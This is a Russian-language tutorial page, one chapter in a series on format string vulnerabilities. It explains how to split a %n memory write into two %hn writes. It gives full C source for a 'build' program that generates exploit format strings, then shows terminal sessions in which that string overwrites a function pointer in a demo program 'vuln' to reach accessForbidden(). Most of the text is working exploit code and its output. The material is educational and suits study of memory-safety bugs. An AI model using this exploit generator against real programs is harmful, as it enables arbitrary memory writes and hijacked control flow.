П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 3439 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 5991 раз(а).

Учебник HTML.
Просмотров 3220 раз(а).

Руководство по PHP5.
Просмотров 5441 раз(а).

Хостинг через призму DNS.
Просмотров 4050 раз(а).

Подборка текстов стандартных документов.
Просмотров 55723 раз(а).

Учебник PHP - Самоучитель
Просмотров 3019 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 4803 раз(а).

Внешние атаки...
Просмотров 3758 раз(а).

Учебник PHP.
Просмотров 2782 раз(а).

SSI в примерах.
Просмотров 37395 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь





Проблемы памяти: разделяй и властвуй

Однако, как мы упоминали, не всегда возможно использовать буферы размером 128Мб. Формат %n ожидает указатель на целое, т.е. четыре байта. Возможно поменять такое поведение, сделав указатель на short int - только 2 байта - благодаря инструкции %hn. Из-за этого мы разрежем целое, которое хотим записать, на две части. Наибольший записываемый размер поэтому уменьшится до 0xffff байт (65535 байт). Поэтому в предыдущем примере мы изменим операцию записи "0x8048654 по адресу 0xbffff5d4" на две следующих операции:

  • запись 0x8654 по адресу 0xbffff5d4
  • запись 0x0804 по адресу 0xbffff5d4+2=0xbffff5d6
Вторая операция записывает старшие байты целого, что объясняет обмен 2 байт.

Однако, %n (или %hn) подсчитывает полное число записанных символов в строку. Это число может только увеличиваться. Сначала, мы должны записать меньшее значение из двух. Затем, второе форматирование будет использовать только разность между требуемым числом и первым, записанную как точность. Например в нашем примере первая операция форматирования будет %.2052x (2052 = 0x0804), а вторая %.32336x (32336 = 0x8654 - 0x0804). Каждая %hn, поставленная в нужном порядке, запишет нужное количество байт.

Нам осталось только указать обоим %hn, куда записывать. Оператор m$ очень нам в этом поможет. Если мы сохраним адреса в начале уязвимого буфера, то нам надо будет только пойти вверх по стеку и найти смещение от начала буфера, используя формат m$. Затем оба адреса будут по смещениям m и m+1. Так как мы используем 8 байт буфера для сохранения адреса перезаписи, то первое записываемое значение должно быть уменьшено на 8.

Наша строка форматирования выглядит следующим образом:

"[адрес][адрес+2]%.[мин. знач. - 8]x%[смещ.]$hn%.[макс. знач. - мин. знач.]x%[смещ.+1]$hn"

Программа build использует три аргумента, для создания строки форматирования:

  1. адрес для перезаписи;
  2. значение для записи сюда;
  3. смещение (в словах) от начала уязвимого буфера.
/* build.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
   4 байта, куда мы должны записать, расположены следующим способом:
   HH HH LL LL
   Переменные, заканчивающиеся "*h", относятся к старшей части слова (H).
   Переменные, заканчивающиеся "*l", относятся к младшей части слова (L).
 */
char* build(unsigned int addr, unsigned int value,
      unsigned int where) {

  /* лениво вычислять настоящую длину ... :*/
  unsigned int length = 128;
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr >> 24) & 0xff;
  unsigned char b1 = (addr >> 16) & 0xff;
  unsigned char b2 = (addr >>  8) & 0xff;
  unsigned char b3 = (addr      ) & 0xff;

  char *buf;

  /* разделение значения */
  valh = (value >> 16) & 0xffff; //старшая часть
  vall = value & 0xffff;         //младшая

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* выделение буфера */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* строим */
  if (valh < vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* верхний адрес */
         "%c%c%c%c"           /* нижний адрес */

         "%%.%hdx"            /* установим значение для первого %hn */
         "%%%d$hn"            /* %hn для верхней части */

         "%%.%hdx"            /* установим значение для второго %hn */
         "%%%d$hn"            /* %hn для нижней части */
         ,
         b3+2, b2, b1, b0,    /* верхний адрес */
         b3, b2, b1, b0,      /* нижний адрес */

         valh-8,              /* установим значение для первого %hn */
         where,               /* %hn для верхней части */

         vall-valh,           /* установим значение для второго %hn */
         where+1              /* %hn для нижней части */
         );

  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* верхний адрес */
         "%c%c%c%c"           /* нижний адрес */

         "%%.%hdx"            /* установим значение для первого %hn */
         "%%%d$hn"            /* %hn для верхней части */

         "%%.%hdx"            /* установим значение для второго %hn */
         "%%%d$hn"            /* %hn для нижней части */
         ,
         b3+2, b2, b1, b0,    /* верхний адрес */
         b3, b2, b1, b0,      /* нижний адрес */

         vall-8,              /* установим значение для первого %hn */
         where+1,             /* %hn для верхней части */

         valh-vall,           /* установим значение для второго %hn */
         where                /* %hn для нижней части */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc < 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* адрес */
          strtoul(argv[2], NULL, 16),  /* значение */
          atoi(argv[3]));              /* смещение */

  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}

Позиция аргументов зависит от того, первое записываемое значение находится в старшей или младшей части слова. Посмотрим что мы получим теперь без всяких проблем с памятью.

Во-первых, наш простой пример позволяет угадать смещение:

>>./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"

Оно всегда одно и то же: 3. Так как наша программа поясняет, что происходит, мы сразу имеем оставшуюся необходимую информацию: адреса ptrf и accesForbidden(). Мы строим наш буфер в соответствии с этим:

>>./vuln `./build 0xbffff5d4 0x8048664 3`
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[Цхя›Фхя›%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [Цхя›Фхя›00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

Ничего не произошло! На самом деле, так как мы использовали буфер длиннее, чем в предыдущем примере в строке форматирования, стек сдвинулся. ptrf переместилась из 0xbffff5d4 в 0xbffff5b4. Необходимо подкорректировать наши значения:
>>./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[хя›?хя›%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [хя›?хя›0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

Мы выиграли!!!

Назад | Содержание | Вперед



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru